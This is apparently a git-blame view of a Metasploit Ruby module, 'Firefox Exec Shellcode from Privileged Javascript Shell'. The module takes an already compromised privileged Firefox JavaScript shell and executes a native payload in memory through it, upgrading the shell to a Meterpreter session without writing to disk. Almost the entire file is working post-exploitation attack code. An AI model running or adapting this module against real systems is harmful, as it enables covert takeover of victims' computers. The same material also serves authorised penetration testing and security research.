2014-02-17 21:31:45 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/payload/firefox'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
|
|
|
|
|
|
include Msf::Payload::Firefox
|
2014-03-13 16:49:44 +00:00
|
|
|
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
2014-02-17 21:31:45 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell',
|
|
|
|
'Description' => %q{
|
2014-03-17 18:24:24 +00:00
|
|
|
This module allows execution of native payloads from a privileged Firefox Javascript shell.
|
|
|
|
It places the specified payload into memory, adds the necessary protection flags,
|
|
|
|
and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter
|
2014-02-19 08:31:22 +00:00
|
|
|
session without touching the disk.
|
2014-02-17 21:31:45 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'joev' ],
|
|
|
|
'Platform' => [ 'firefox' ],
|
2014-03-13 16:49:44 +00:00
|
|
|
'DisclosureDate' => 'Mar 10 2014',
|
2014-02-17 21:31:45 +00:00
|
|
|
'Targets' => [
|
2014-03-13 16:49:44 +00:00
|
|
|
[
|
2014-02-17 21:31:45 +00:00
|
|
|
'Native Payload', {
|
|
|
|
'Platform' => %w{ linux osx win unix },
|
|
|
|
'Arch' => ARCH_ALL
|
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2014-03-17 18:24:24 +00:00
|
|
|
print_status "Running the Javascript shell..."
|
2014-02-17 21:31:45 +00:00
|
|
|
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
|
|
|
|
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
|
|
|
|
print_warning(results) if results.present?
|
|
|
|
end
|
|
|
|
|
|
|
|
def js_payload
|
|
|
|
%Q|
|
|
|
|
(function(send){
|
|
|
|
try {
|
2014-02-19 08:31:22 +00:00
|
|
|
#{run_payload}
|
2014-02-17 21:31:45 +00:00
|
|
|
send("Payload executed.");
|
|
|
|
} catch (e) {
|
|
|
|
send(e);
|
|
|
|
}
|
|
|
|
})(send);
|
|
|
|
|.strip
|
|
|
|
end
|
|
|
|
end
|